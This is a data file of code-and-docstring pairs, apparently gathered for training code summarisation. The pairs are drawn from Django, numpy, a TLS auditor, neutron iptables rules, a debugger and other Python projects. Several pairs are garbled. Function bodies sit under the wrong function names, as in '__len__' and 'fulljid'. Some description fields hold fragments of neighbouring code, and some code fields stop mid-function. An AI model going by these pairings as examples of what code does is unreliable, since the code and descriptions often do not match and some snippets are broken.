self.model._meta\n app_label = opts.app_label\n context.update(\n {\n \"has_change_permission\": self.has_change_permission(request),\n \"form_url\": mark_safe(form_url),\n \"opts\": opts,\n \"add\": True,\n \"save_on_top\": self.save_on_top,\n }\n )\n\n templates = self.add_type_template or [\n f\"admin/{app_label}/{opts.object_name.lower()}/add_type_form.html\",\n \"admin/%s/add_type_form.html\" % app_label,", "nl": "Render the page type choice form."} {"code": "def __len__(self):\n cls.DISABLE_COLORS = True\n\n @classmethod", "nl": "Dictionary length.return len(self.whitelist)@classmethoddef disable_all_colors(cls):Disable all colors. Strips any color tags or codes."} {"code": "def _process_custom_listener_policy(self, policy_name, policy, ports, elb_item):\n if policy.get('protocols', {}).get('sslv2', None):\n notes = Categories.INSECURE_TLS_NOTES.format(\n policy=policy_name, port=ports,\n reason='SSLv2 is enabled')\n self.add_issue(10, Categories.INSECURE_TLS, elb_item, notes=notes)\n\n if policy.get('protocols', {}).get('sslv3', None):\n notes = Categories.INSECURE_TLS_NOTES.format(\n policy=policy_name, port=ports,\n reason='SSLv3 is enabled')\n self.add_issue(10, Categories.INSECURE_TLS, elb_item, notes=notes)\n", "nl": "Alerts on:sslv2sslv3missing server order preferencedeprecated ciphers"} {"code": "def indent(string, times=1):\n\n return \"\\n\".join(\" \" * (4 * times) + line for line in string.splitlines())\n\n", "nl": "A dumb version of :func:`textwrap.indent` from Python 3.3."} {"code": "def fold(matrix, mode, shape):\n full_shape = list(shape)\n mode_dim = full_shape.pop(mode)\n full_shape.insert(0, mode_dim)\n tensor = np.moveaxis(np.reshape(matrix, full_shape), 0, mode)\n return tensor\n\n", "nl": " Fold a 2D array into a N-dimensional array.Parameters----------matrix : np.ndarrayUnfolded version of a tensormode : intA mode along which original tensor was unfolded into a `matrix`shape : tupleShape of the original tensor before it was unfoldedReturns-------tensor : np.ndarrayN-dimensional array of the original shapeNotes-----At the moment it reverts unfolding operation (``unfold``). Will be generalised in a future"} {"code": "def multiagent_rollout(env, policy_right, policy_left, render_mode=False):\n obs_right = env.reset()\n obs_left = obs_right\n\n done = False\n total_reward = 0\n t = 0\n\n while not done:\n\n action_right = policy_right.predict(obs_right)\n action_left = policy_left.predict(obs_left)\n\n obs_right, reward, done, info = env.step(action_right, action_left)\n obs_left = info['otherObs']\n\n total_reward += reward\n t += 1\n\n if render_mode:\n env.render()\n\n return total_reward, t\n", "nl": "play one agent vs the other in modified gym-style loop.important: returns the score from perspective of policy_right."} {"code": "def close(self):\n self.poolmanager.clear()\n for proxy in self.proxy_manager.values():\n proxy.clear()\n", "nl": "Disposes of any internal state.Currently, this closes the PoolManager and any active ProxyManager,which closes any pooled connections."} {"code": "def test_reply_positive(self):\n with pytest.raises(ValueError) as cm:\n self.dialogue.reply(\n target_message=self.valid_message_1_by_self,\n performative=DefaultMessage.Performative.BYTES,\n content=b\"Hello Back\",\n )\n assert str(cm.value) == \"Cannot reply in an empty dialogue!\"\n assert self.dialogue.is_empty\n", "nl": "Positive test for the 'reply' method.self.dialogue._update(self.valid_message_1_by_self)self.dialogue.reply(target_message=self.valid_message_1_by_self,performative=DefaultMessage.Performative.BYTES,content=b\"Hello Back\",)assert self.dialogue.last_message.message_id == 2def test_reply_negative_empty_dialogue(self):Negative test for the 'reply' method: target message is not in the dialogue."} {"code": "def fulljid(self):\n log.warning(\"resource property deprecated. Use boundjid.resource\")\n return self.boundjid.resource\n\n @resource.setter", "nl": "Attribute accessor for full jidlog.warning(\"fulljid property deprecated. Use boundjid.full\")return self.boundjid.full@fulljid.setterdef fulljid(self, value):log.warning(\"fulljid property deprecated. Use boundjid.full\")self.boundjid.full = value@propertydef resource(self):Attribute accessor for jid resource"} {"code": "def _parse_packages(self, value):\n find_directive = 'find:'\n\n if not value.startswith(find_directive):\n return self._parse_list(value)\n\n find_kwargs = self.parse_section_packages__find(\n self.sections.get('packages.find', {}))\n\n from setuptools import find_packages\n\n return find_packages(**find_kwargs)\n", "nl": "Parses `packages` option value.:param value::rtype: list"} {"code": "def _has_lock(self):\n if not self._owns_lock:\n return False\n\n return True\n", "nl": ":return: True if we have a lock and if the lockfile still exists:raise AssertionError: if our lock-file does not exist"} {"code": "def unseen_videos(self):\n url = RESET_CAM_ENDPOINT.format(self.unique_id)\n ret = self._session.query(url).get('success')\n return ret\n\n @property", "nl": "Return number of unseen videos.if self._attrs is not None:return self._attrs.get('mediaObjectCount')return Nonedef unseen_videos_reset(self):Reset the unseen videos counter."} {"code": "def test_simple(self):\n basic_test = {50: {'fd': 4, 'scott': 4, 'rice': 8, 'sturges': 7,\n 'doane': 8, 'sqrt': 8, 'auto': 7, 'stone': 2},\n 500: {'fd': 8, 'scott': 8, 'rice': 16, 'sturges': 10,\n 'doane': 12, 'sqrt': 23, 'auto': 10, 'stone': 9},\n 5000: {'fd': 17, 'scott': 17, 'rice': 35, 'sturges': 14,\n 'doane': 17, 'sqrt': 71, 'auto': 17, 'stone': 20}}\n\n for testlen, expectedResults in basic_test.items():\n x1 = np.linspace(-10, -1, testlen // 5 * 2)\n x2 = np.linspace(1, 10, testlen // 5 * 3)\n x = np.concatenate((x1, x2))\n for estimator, numbins in expectedResults.items():\n a, b = np.histogram(x, estimator)\n assert_equal(len(a), numbins, err_msg=\"For the {0} estimator \"\n \"with datasize of {1}\".format(estimator, testlen))\n", "nl": "Straightforward testing with a mixture of linspace data (forconsistency). All test values have been precomputed and the valuesshouldn't change"} {"code": "def download_file(self, data_product, local_path, cache=True):\n\n s3 = self.boto3.resource('s3', config=self.config)\n s3_client = self.boto3.client('s3', config=self.config)\n bkt = s3.Bucket(self.pubdata_bucket)\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n bucket_path = self.get_cloud_uri(data_product, False)\n if not bucket_path:\n raise Exception(\"Unable to locate file {}.\".format(data_product['productFilename']))\n\n info_lookup = s3_client.head_object(Bucket=self.pubdata_bucket, Key=bucket_path)\n length = info_lookup[\"ContentLength\"]\n\n if cache and os.path.exists(local_path):\n if length is not None:\n statinfo = os.stat(local_path)\n if statinfo.st_size != length:\n log.warning(\"Found cached file {0} with size {1} that is \"\n \"different from expected size {2}\"\n .format(local_path,\n statinfo.st_size,\n length))\n else:\n log.info(\"Found cached file {0} with expected size {1}.\"\n .format(local_path, statinfo.st_size))\n return\n\n with ProgressBarOrSpinner(length, ('Downloading URL s3://{0}/{1} to {2} ...'.format(\n self.pubdata_bucket, bucket_path, local_path))) as pb:\n\n global bytes_read\n bytes_read = 0\n\n progress_lock = threading.Lock()\n", "nl": "Takes a data product in the form of an `~astropy.table.Row` and downloads it from the cloud intothe given directory.Parameters----------data_product : `~astropy.table.Row`Product to download.local_path : strThe local filename to which toe downloaded file will be saved.cache : boolDefault is True. If file is found on disc it will not be downloaded again."} {"code": "def getPlayToken(self):\n playToken = self.getValue(self.toontownPlayTokenKey)\n self.setValue(self.toontownPlayTokenKey, \"\")\n\n if playToken == \"NO PLAYTOKEN\":\n playToken = None\n return playToken\n\n", "nl": "Get the PlayToken out of the registry and return it. ThePlayToken is not saved; if this method is called a secondtime it will return None."} {"code": "def translate_batch(self, batch, fast=False):\n with torch.no_grad():\n return self._fast_translate_batch(batch, self.max_length, min_length=self.min_length)\n", "nl": "Translate a batch of sentences.Mostly a wrapper around :obj:`Beam`.Args:batch (:obj:`Batch`): a batch from a dataset objectfast (bool): enables fast beam search (may not support all features)"} {"code": "def __friendsListChanged(self):\n self.__updateScrollList()\n self.__updateTitleText()\n", "nl": "__friendsListChanged(self):Called when the friends list changes (by adding or removing afriend), this should update the friends list appropriately."} {"code": "def floating_forward_rules(self, fip):\n This is a dummy function and is overridden in dvr_edge_router.py\n to add the floatingip function to the snat namespace.\n \"\"\"", "nl": "Override this function defined in router_info for dvr routers.if not self.fip_ns:return []if fip.get(lib_constants.DVR_SNAT_BOUND):return []# For dvr_no_external node should not process any floating IP# iptables rules.if (self.agent_conf.agent_mode ==lib_constants.L3_AGENT_MODE_DVR_NO_EXTERNAL):return []fixed_ip = fip['fixed_ip_address']floating_ip = fip['floating_ip_address']rtr_2_fip_name = self.fip_ns.get_rtr_ext_device_name(self.router_id)dnat_from_floatingip_to_fixedip = ('PREROUTING', '-d %s/32 -i %s -j DNAT --to-destination %s' % (floating_ip, rtr_2_fip_name, fixed_ip))to_source = '-s %s/32 -j SNAT --to-source %s' % (fixed_ip, floating_ip)if self.iptables_manager.random_fully:to_source += ' --random-fully'snat_from_fixedip_to_floatingip = ('float-snat', to_source)return [dnat_from_floatingip_to_fixedip,snat_from_fixedip_to_floatingip]def floating_mangle_rules(self, floating_ip, fixed_ip, internal_mark):if not self.fip_ns:return []rtr_2_fip_name = self.fip_ns.get_rtr_ext_device_name(self.router_id)mark_traffic_to_floating_ip = ('floatingip', '-d %s/32 -i %s -j MARK --set-xmark %s' % (floating_ip, rtr_2_fip_name, internal_mark))mark_traffic_from_fixed_ip = ('FORWARD', '-s %s/32 -j $float-snat' % fixed_ip)return [mark_traffic_to_floating_ip, mark_traffic_from_fixed_ip]def add_centralized_floatingip(self, fip, fip_cidr):Implements floatingip in centralized network node."} {"code": "def __init__(self, **kwargs: Any) -> None:\n", "nl": "Initialize dialogues.:param kwargs: keyword arguments"} {"code": "def test_search_projection_converts_strings():\n model, index = model_for()\n projection = [\"model_hash\"]\n expected = {model.model_hash}\n assert validate_search_projection(model, index, projection) == expected\n\n\n@pytest.mark.parametrize(\"model, index\", all_permutations)", "nl": "This doesn't need the full matrix of model/index combinations.Simply checks that the user can pass strings and get columns"} {"code": "def check():\n if UnitTest:\n if threading.get_ident not in this.runtime_instance:\n raise RuntimeError(\"Init Commu before using it.\")\n else:\n if this.runtime_instance is None:\n raise RuntimeError(\"Init Commu before using it.\")\n", "nl": "make sure inited"} {"code": "def get_standardized_structure(structure: Structure) -> Structure:\n species = [dict(site.species.as_dict()) for site in structure]\n sa = SpacegroupAnalyzer(structure)\n sd = sa.get_symmetry_dataset()\n std_lattice = sd[\"std_lattice\"]\n mapping_to_primitive = sd[\"mapping_to_primitive\"].tolist()\n mapping_to_primitive = np.array([mapping_to_primitive.index(i) for i in range(max(mapping_to_primitive) + 1)])\n std_species = np.array(species)[mapping_to_primitive][sd[\"std_mapping_to_primitive\"]]\n std_frac_coords = sd[\"std_positions\"]\n return Structure(lattice=std_lattice, species=std_species, coords=std_frac_coords).get_sorted_structure()", "nl": "Get standardized structure.Args:structure (Structure): Pymatgen Structure object."} {"code": "def _css_minify(self, response):\n\n out = ''\n text = response\n opening_tags = re.findall(r\"]*>\", text, re.M | re.I)\n for tag in opening_tags:\n i = text.find(tag)+len(tag)-1\n e = text.find(\"\")+9\n css = text[i:e]\n out += text[0:i] + self._min_css(css)\n text = text[e:]\n out = out+text\n\n out2 = ''\n inlines = re.findall(r\"<[A-Za-z0-9-]+[^>]+?style=\\\"[\\s\\S]+?\\\"\",\n out, re.M | re.I)\n for inline in inlines:\n i = out.find(inline)\n j = out[i:].find(\"style=\")+7\n k = out[i+j:].find('\"')\n css = out[i+j:i+j+k+1]\n out2 += out[0:i+j] + re.sub(r\";+\\s*(?=(\\\"|\\'))\", \"\",\n self._min_css(css), re.I | re.M)\n out = out[i+j+k+1:]\n out2 += out\n return out2\n", "nl": "Minify inline css"} {"code": "def lstsq(a, b, rcond=\"warn\"):\n a, _ = _makearray(a)\n b, wrap = _makearray(b)\n is_1d = b.ndim == 1\n if is_1d:\n b = b[:, newaxis]\n _assertRank2(a, b)\n m, n = a.shape[-2:]\n m2, n_rhs = b.shape[-2:]\n if m != m2:\n raise LinAlgError('Incompatible dimensions')\n\n t, result_t = _commonType(a, b)\n real_t = _linalgRealType(t)\n result_real_t = _realType(result_t)\n", "nl": "Return the least-squares solution to a linear matrix equation.Solves the equation `a x = b` by computing a vector `x` thatminimizes the Euclidean 2-norm `|| b - a x ||^2`. The equation maybe under-, well-, or over- determined (i.e., the number oflinearly independent rows of `a` can be less than, equal to, orgreater than its number of linearly independent columns). If `a`is square and of full rank, then `x` (but for round-off error) isthe \"exact\" solution of the equation.Parameters----------a : (M, N) array_like\"Coefficient\" matrix.b : {(M,), (M, K)} array_likeOrdinate or \"dependent variable\" values. If `b` is two-dimensional,the least-squares solution is calculated for each of the `K` columnsof `b`.rcond : float, optionalCut-off ratio for small singular values of `a`.For the purposes of rank determination, singular values are treatedas zero if they are smaller than `rcond` times the largest singularvalue of `a`... versionchanged:: 1.14.0If not set, a FutureWarning is given. The previous defaultof ``-1`` will use the machine precision as `rcond` parameter,the new default will use the machine precision times `max(M, N)`.To silence the warning and use the new default, use ``rcond=None``,to keep using the old behavior, use ``rcond=-1``.Returns-------x : {(N,), (N, K)} ndarrayLeast-squares solution. If `b` is two-dimensional,the solutions are in the `K` columns of `x`.residuals : {(1,), (K,), (0,)} ndarraySums of residuals; squared Euclidean 2-norm for each column in``b - a*x``.If the rank of `a` is < N or M <= N, this is an empty array.If `b` is 1-dimensional, this is a (1,) shape array.Otherwise the shape is (K,).rank : intRank of matrix `a`.s : (min(M, N),) ndarraySingular values of `a`.Raises------LinAlgErrorIf computation does not converge.Notes-----If `b` is a matrix, then all array results are returned as matrices.Examples--------Fit a line, ``y = mx + c``, through some noisy data-points:>>> x = np.array([0, 1, 2, 3])>>> y = np.array([-1, 0.2, 0.9, 2.1])By examining the coefficients, we see that the line should have agradient of roughly 1 and cut the y-axis at, more or less, -1.We can rewrite the line equation as ``y = Ap``, where ``A = [[x 1]]``and ``p = [[m], [c]]``. Now use `lstsq` to solve for `p`:>>> A = np.vstack([x, np.ones(len(x))]).T>>> Aarray([[ 0., 1.],[ 1., 1.],[ 2., 1.],[ 3., 1.]])>>> m, c = np.linalg.lstsq(A, y, rcond=None)[0]>>> print(m, c)1.0 -0.95Plot the data along with the fitted line:>>> import matplotlib.pyplot as plt>>> plt.plot(x, y, 'o', label='Original data', markersize=10)>>> plt.plot(x, m*x + c, 'r', label='Fitted line')>>> plt.legend()>>> plt.show()"} {"code": "def validateModeItem(self, item, owner=None):\n Returns a list of valid mode items for ship. Note that this returns the\n valid Item objects, not the Mode objects. Returns None if not a\n t3 dessy\n \"\"\"", "nl": " Checks if provided item is a valid mode items = self.__modeItemsif items is not None:# if we have items, then we are in a tactical destroyer and must have a modeif item is None or item not in items:# If provided item is invalid mode, force new onereturn Mode(items[0], owner=owner)return Mode(item)return None@propertydef modeItems(self):return self.__modeItems@propertydef modes(self):return [Mode(item) for item in self.__modeItems] if self.__modeItems else Nonedef __getModeItems(self):"} {"code": "def test_multi_embed_can_return_individual_embeddings(self):\n features = 5\n embedders = {\n 'token_embed': nn.Embed(num_embeddings=10, features=features),\n 'segment_embed': nn.Embed(num_embeddings=2, features=features),\n 'position_embed': nn.Embed(num_embeddings=12, features=features)\n }\n model = embedding.MultiEmbed(\n embedders, sow_intermediates=True, capture_gradients=True)\n token_ids = np.array([[0, 1, 2], [3, 4, 5]], dtype=np.int64)\n segment_ids = np.array([[0, 1, 1], [0, 0, 1]], dtype=np.int64)\n position_ids = np.arange(3, dtype=np.int64)[None]\n variables = model.init(\n jax.random.PRNGKey(0),\n token_embed=token_ids,\n segment_embed=segment_ids,\n position_embed=position_ids)\n self.assertContainsSubset(('grads',), variables)\n", "nl": "Tests that MultiEmbed returns a dictionary with each embedded input.features = 5embedders = {'token_embed': nn.Embed(num_embeddings=10, features=features),'segment_embed': nn.Embed(num_embeddings=2, features=features),'position_embed': nn.Embed(num_embeddings=12, features=features)}model = embedding.MultiEmbed(embedders)token_ids = np.array([[0, 1, 2], [3, 4, 5]], dtype=np.int64)segment_ids = np.array([[0, 1, 1], [0, 0, 1]], dtype=np.int64)position_ids = np.arange(3, dtype=np.int64)[None]variables = model.init(jax.random.PRNGKey(0),token_embed=token_ids,segment_embed=segment_ids,position_embed=position_ids)embeddings = model.apply(variables,token_embed=token_ids,segment_embed=segment_ids,position_embed=position_ids,method=model.get_individual_embeddings)self.assertIn('token_embed', embeddings)self.assertIn('segment_embed', embeddings)self.assertIn('position_embed', embeddings)def test_multi_embed_returns_nonempty_gradient(self):Tests that we can capture a non-empty gradient from MultiEmbed."} {"code": "def create_exponential_delay_function(base, growth_factor):\n return functools.partial(\n delay_exponential, base=base, growth_factor=growth_factor)\n\n", "nl": "Create an exponential delay function based on the attempts.This is used so that you only have to pass it the attemptsparameter to calculate the delay."} {"code": "def _postprocess_options(dbg, opts):\n global __title__\n\n orig_sys_argv = list(sys_argv)\n opts, dbg_opts, sys_argv = process_options(__title__, __version__,\n sys_argv)\n dbg_opts['orig_sys_argv'] = sys_argv\n dbg_opts['interface'] = Mbullwinkle.BWInterface()\n dbg_opts['processor'] = 'bullwinkle'\n\n if dbg is None:\n dbg = Mdebugger.Debugger(dbg_opts)\n dbg.core.add_ignore(main)\n pass\n _postprocess_options(dbg, opts)\n\n if len(sys_argv) == 0:\n mainpyfile = None\n else:\n mainpyfile = sys_argv[0]\n if not os.path.isfile(mainpyfile):\n mainpyfile=Mclifns.whence_file(mainpyfile)\n is_readable = Mfile.readable(mainpyfile)\n if is_readable is None:\n print(\"%s: Python script file '%s' does not exist\"\n % (__title__, mainpyfile,))\n sys.exit(1)\n elif not is_readable:\n print(\"%s: Can't read Python script file '%s'\"\n % (__title__, mainpyfile,))\n sys.exit(1)\n return\n\n mainpyfile_noopt = pyficache.resolve_name_to_path(mainpyfile)\n if mainpyfile != mainpyfile_noopt \\\n and Mfile.readable(mainpyfile_noopt):\n print(\"%s: Compiled Python script given and we can't use that.\"\n % __title__)\n print(\"%s: Substituting non-compiled name: %s\" % (\n __title__, mainpyfile_noopt,))\n mainpyfile = mainpyfile_noopt\n pass\n\n sys.path[0] = dbg.main_dirname = os.path.dirname(mainpyfile)\n\n dbg.sig_received = False\n\n\n while True:\n\n\n try:\n if dbg.program_sys_argv and mainpyfile:\n normal_termination = dbg.run_script(mainpyfile)\n if not normal_termination: break\n else:\n dbg.core.execution_status = 'No program'\n dbg.core.processor.process_commands()\n pass\n\n dbg.core.execution_status = 'Terminated'\n dbg.intf[-1].msg(\"The program finished - quit or restart\")\n dbg.core.processor.process_commands()\n except Mexcept.DebuggerQuit:\n break\n except Mexcept.DebuggerRestart:\n dbg.core.execution_status = 'Restart requested'\n if dbg.program_sys_argv:\n sys.argv = list(dbg.program_sys_argv)\n part1 = ('Restarting %s with arguments:' %\n dbg.core.filename(mainpyfile))\n args = ' '.join(dbg.program_sys_argv[1:])\n dbg.intf[-1].msg(Mmisc.wrapped_lines(part1, args,\n dbg.settings['width']))\n else: break\n except SystemExit:\n break\n pass\n\n sys.argv = orig_sys_argv\n return\n\nif __name__=='__main__':\n main()\n pass", "nl": " Handle options (`opts') that feed into the debugger (`dbg')# Set dbg.settings['printset']print_events = []if opts.fntrace: print_events = ['c_call', 'c_return', 'call', 'return']# if opts.linetrace: print_events += ['line']if len(print_events):dbg.settings['printset'] = frozenset(print_events)passfor setting in ('basename', 'different',):dbg.settings[setting] = getattr(opts, setting)passdbg.settings['highlight'] = 'plain'Mdebugger.debugger_obj = dbgreturndef main(dbg=None, sys_argv=list(sys.argv)):Routine which gets run if we were invoked directly"} {"code": "def get_ordered_objects(self, cls, load=True, start=0, end=-1):\n all_objs = self.get_ordered_keys(start, end)\n\n obj_list = []\n for val in all_objs:\n obj = cls(my_id=val,\n redis=self.redis,\n access=self.comp.access)\n\n obj.owner = self.comp\n if load:\n obj.load()\n\n obj_list.append(obj)\n\n return obj_list\n", "nl": "Return sorted set elements.:param class cls: Redis component class:param bool load: whether to load Redis entries:param int start: start index:param int end: stop index:returns: sorted set elements:rtype: list"} {"code": "def install(useGtk=True):\n reactor = Gtk2Reactor(useGtk)\n from twisted.internet.main import installReactor\n installReactor(reactor)\n return reactor\n\n", "nl": "Configure the twisted mainloop to be run inside the gtk mainloop.@param useGtk: should glib rather than GTK+ event loop beused (this will be slightly faster but does not support GUI)."} {"code": "def GetDecodeOutPath(cls, decoder_dir, checkpoint_id):\n with self._cluster:\n self._checkpointer.RestoreFromPath(checkpoint_path=path)\n\n global_step = self._model.global_step.numpy()\n if global_step < self._task.params.eval.start_decoder_after:\n return\n\n if self._task.input.params.resettable:\n tf.logging.info('Resetting input_generator.')\n self._task.input_generator.Reset()\n\n dec_metrics = self._task.CreateDecoderMetrics()\n if not dec_metrics:\n tf.logging.info('Empty decoder metrics')\n return\n buffered_decode_out = []\n num_samples_metric = dec_metrics['num_samples_in_batch']\n\n samples_per_summary = self._task.params.eval.decoder_samples_per_summary\n if samples_per_summary is None:\n samples_per_summary = self._task.params.eval.samples_per_summary\n if samples_per_summary == 0:\n assert self._task.input.params.resettable\n\n start_time = time.time()\n while samples_per_summary == 0 or (num_samples_metric.total_value <\n samples_per_summary):\n try:\n tf.logging.info('Fetching dec_output.')\n fetch_start = time.time()\n is_first_loop = num_samples_metric.total_value == 0\n decode_fn = (\n self._decode_fn_with_summary\n if is_first_loop else self._decode_fn)\n input_batch, dec_output = decode_fn()\n\n for key in self._task.input_generator.GetCpuPassthroughKeys():\n if key in input_batch:\n if key in dec_output:\n tf.logging.warning(\n f'Key {key} already present in decode output. '\n f'Not adding from input batch.')\n else:\n dec_output[key] = input_batch[key]\n\n dec_output = py_utils.Transform(lambda x: x.numpy(), dec_output)\n\n post_process_start = time.time()\n tf.logging.info('Done fetching (%f seconds)' %\n (post_process_start - fetch_start))\n decode_out = self._task.PostProcessDecodeOut(dec_output, dec_metrics)\n\n if decode_out:\n if isinstance(decode_out, dict):\n decode_out = decode_out.items()\n\n if is_first_loop:", "nl": "Gets the path to decode out file.out_dir = cls._GetTtlDir(decoder_dir, duration='7d')return os.path.join(out_dir, 'decoder_out_%09d' % checkpoint_id)def _DecodeOnce(self, sess=None, path=''):Decode a single checkpoint."} {"code": "def select_channel(self, channel):\n channel = channel.capitalize()\n if (channel == 'A'):\n self._wanted_channel = 'A'\n elif (channel == 'B'):\n self._wanted_channel = 'B'\n else:\n raise ValueError('Parameter \"channel\" has to be \"A\" or \"B\". '\n 'Received: {}'.format(channel))\n self._read()\n time.sleep(0.5)\n", "nl": "select_channel method evaluates if the desired channelis valid and then sets the _wanted_channel variable.Args:channel(str): the channel to select. Options ('A' || 'B')Raises:ValueError: if channel is not 'A' or 'B'"} {"code": "def in_path(self) -> str:\n return self._out_path\n\n\nclass TCPSocketChannelClient(IPCChannelClient):\n \"\"\"Interprocess communication channel client using tcp sockets.\"\"\"", "nl": "Rendezvous point for incoming communication.return self._in_path@propertydef out_path(self) -> str:Rendezvous point for outgoing communication."} {"code": "def check_is_fitted(estimator, attributes, msg=None, all_or_any=all):\n if msg is None:\n msg = (\"This %(name)s instance is not fitted yet. Call 'fit' with \"\n \"appropriate arguments before using this method.\")\n\n if not hasattr(estimator, 'fit'):\n raise TypeError(\"%s is not an estimator instance.\" % (estimator))\n\n if not isinstance(attributes, (list, tuple)):\n attributes = [attributes]\n\n if not all_or_any([hasattr(estimator, attr) for attr in attributes]):\n raise NotFittedError(msg % {'name': type(estimator).__name__})\n\n", "nl": "Perform is_fitted validation for estimator.Checks if the estimator is fitted by verifying the presence of\"all_or_any\" of the passed attributes and raises a NotFittedError with thegiven message.Parameters----------estimator : estimator instance.estimator instance for which the check is performed.attributes : attribute name(s) given as string or a list/tuple of stringsEg.:``[\"coef_\", \"estimator_\", ...], \"coef_\"``msg : stringThe default error message is, \"This %(name)s instance is not fittedyet. Call 'fit' with appropriate arguments before using this method.\"For custom messages if \"%(name)s\" is present in the message string,it is substituted for the estimator name.Eg. : \"Estimator, %(name)s, must be fitted before sparsifying\".all_or_any : callable, {all, any}, default allSpecify whether all or any of the given attributes must exist.Returns-------NoneRaises------NotFittedErrorIf the attributes are not found."} {"code": "def on_save_clustering(self, sender, spike_clusters, groups, *labels):\n assert path\n create_app()\n controller = KwikController(\n path, channel_group=channel_group, clustering=clustering, **kwargs)\n gui = controller.create_gui()\n gui.show()\n run_app()\n gui.close()\n\n", "nl": "Save the modified data.groups = {c: g.title() for c, g in groups.items()}self.model.save(spike_clusters, groups)self._save_cluster_info()#------------------------------------------------------------------------------# Kwik commands#------------------------------------------------------------------------------def kwik_gui(path, channel_group=None, clustering=None, **kwargs): # pragma: no coverLaunch the Kwik GUI."} {"code": "def _new_id(self):\n self._last_auto_id += 1\n while str(self._last_auto_id) in self._requests:\n self._last_auto_id += 1\n return str(self._last_auto_id)\n\n @util.positional(2)", "nl": "Create a new id.Auto incrementing number that avoids conflicts with ids already used.Returns:string, a new unique id."} {"code": "def decrypt_files(self, path: str):\n for root, dirs, files in walk(path):\n for file in files:\n file_path = join(root, file)\n self.decrypt_file(file_path=file_path)\n", "nl": "decrypts all the files in the specified path"} {"code": "def __init__(self, *attributes_to_monitor, _do_not_overwrite_setter=False, **aliased_attributes_to_monitor):\n _sentinel = object()\n\n old_init = getattr(cls, '__init__', None)\n", "nl": "Initialise decorator and remember attributes to monitor.self._attributes_to_monitor = attributes_to_monitorself._aliased_attributes_to_monitor = aliased_attributes_to_monitorself._do_not_overwrite_setter = _do_not_overwrite_setterdef __call__(self, cls): # noqaDecorate class."} {"code": "def get_load_per_cpu(_stats=None):\n stats = []\n with open('/proc/stat', 'r') as f:\n f_stat = f.readlines()\n\n if _stats:\n for line in range(len(_stats)):\n l_stat = []\n for i in range(len(_stats[line])):\n l_stat.append(int(f_stat[line].split()[i+1]) - _stats[line][i])\n stats.append(l_stat)\n else:\n for line in f_stat:\n if line.startswith('cpu'):\n stats.append([int(v) for v in line.split()[1:]])\n return stats\n\n", "nl": "Gather load per cpu from /proc/stat:param _stats: previous values:return: list of diff/absolute values of different CPU times for every cpu:[[user, nice, system, ...],[user, nice, system, ...], ...]"} {"code": "def import_main_path(main_path):\n _fixup_main_from_path(main_path)", "nl": "Set sys.modules['__main__'] to module at main_path"} {"code": "def predict_proba(self, X):\n return daal4py_predict(self, X, 'computeClassProbabilities')", "nl": "Probability estimates.The returned estimates for all classes are ordered by thelabel of classes.For a multi_class problem, if multi_class is set to be \"multinomial\"the softmax function is used to find the predicted probability ofeach class.Else use a one-vs-rest approach, i.e calculate the probabilityof each class assuming it to be positive using the logistic function.and normalize these values across all the classes.Parameters----------X : array-like of shape (n_samples, n_features)Vector to be scored, where `n_samples` is the number of samples and`n_features` is the number of features.Returns-------T : array-like of shape (n_samples, n_classes)Returns the probability of the sample for each class in the model,where classes are ordered as they are in ``self.classes_``."} {"code": "def make_blocks(self, cfg):\n Convert integer voxel indices to metric coordinates.\n Indices are reversed ijk -> kji to maintain correspondence with xyz.\n Sparse voxels are padded with subsamples to allow batch PointNet processing.\n :voxel_size length-3 tensor describing size of atomic voxel, accounting for stride.\n :voxel_offset length-3 tensor describing coordinate offset of voxel grid.\n \"\"\"", "nl": "Subclasses must implement this method.raise NotImplementedErrordef maybe_bias_init(self, module, val):if hasattr(module, \"bias\") and module.bias is not None:nn.init.constant_(module.bias, val)def kaiming_init(self, module):nn.init.kaiming_normal_(module.weight, a=0, mode='fan_out', nonlinearity='relu')self.maybe_bias_init(module, 0)def batchnorm_init(self, module):nn.init.constant_(module.weight, 1)self.maybe_bias_init(module, 0)def init_weights(self):for m in self.modules():if isinstance(m, nn.Conv2d):self.kaiming_init(m)elif isinstance(m, _BatchNorm):self.batchnorm_init(m)def to_global(self, stride, volume):"} {"code": "def flushInput(self):\n discarding all that is in the buffer.\"\"\"", "nl": "Clear input buffer, discarding all that is in the buffer.if not self.sPort: raise portNotOpenErrorself._instream.skip(self._instream.available())def flushOutput(self):Clear output buffer, aborting the current output and"} {"code": "def do_channel_partition(self, line, opts):\n if line.strip() not in {\"get\", \"create\", \"update\", \"delete\"}:\n self.poutput(self.colorize('Error: ', 'red') +\n self.colorize(self.colorize(line.strip(), 'blue'),\n 'bold') + ' is not recognized')\n return\n\n stub = voltha_pb2_grpc.VolthaGlobalServiceStub(self.get_channel())\n\n if line.strip() == \"get\":\n if self.device_id:\n cg, cpart, cp, ct, vont, ont, venet, tdp, tcont, gemport = \\\n self.get_interface_based_on_device()\n print_pb_list_as_table(\"Channel Partitions for device ID = {}:\"\n .format(self.device_id), cpart, {},\n self.poutput)\n else:\n interface = stub.GetAllChannelpartitionConfig(Empty())\n print_pb_list_as_table(\"Channel Partitions:\",\n interface.channelpartition_config,\n {}, self.poutput)\n return\n try:\n interface_instance = ChannelpartitionConfig(name = opts.name)\n interface_instance.interface.name = opts.name\n if opts.description:\n interface_instance.interface.description = opts.description\n interface_instance.interface.type = \"channelpartition\"\n if opts.enabled:\n if opts.enabled == \"up\":\n interface_instance.interface.enabled = True\n elif opts.enabled == \"down\":\n interface_instance.interface.enabled = False\n else:\n self.poutput(\n self.colorize('Error: ', 'red') + self.colorize(\n self.colorize('Invalid admin state parameter for \\\n channel partition', 'blue'), 'bold'))\n return\n if opts.link_up_down_trap_enable:\n types = [\"trap_disabled\", \"trap_enabled\"]\n assert opts.link_up_down_trap_enable in types, \\\n 'Invalid Enum value for Channel Partition link up \\\n down trap enable type \\'{}\\''\\\n .format(opts.link_up_down_trap_enable)\n interface_instance.interface.link_up_down_trap_enable = \\\n ietf_interfaces_pb2._INTERFACE_LINKUPDOWNTRAPENABLETYPE.\\\n values_by_name[opts.link_up_down_trap_enable.upper()].\\\n number\n if opts.differential_fiber_distance:\n interface_instance.data.differential_fiber_distance = \\\n opts.differential_fiber_distance\n if opts.closest_ont_distance:\n interface_instance.data.closest_ont_distance = \\\n opts.closest_ont_distance\n if opts.fec_downstream:\n if opts.fec_downstream == 'true':\n interface_instance.data.fec_downstream = True\n elif opts.fec_downstream == 'false':\n interface_instance.data.fec_downstream = False\n else:\n m = 'Invalid boolean value for Channel Partition \\\n fec_downstream \\'{}\\''.format(opts.fec_downstream)\n self.poutput(\n self.colorize('Error: ', 'red') +\n 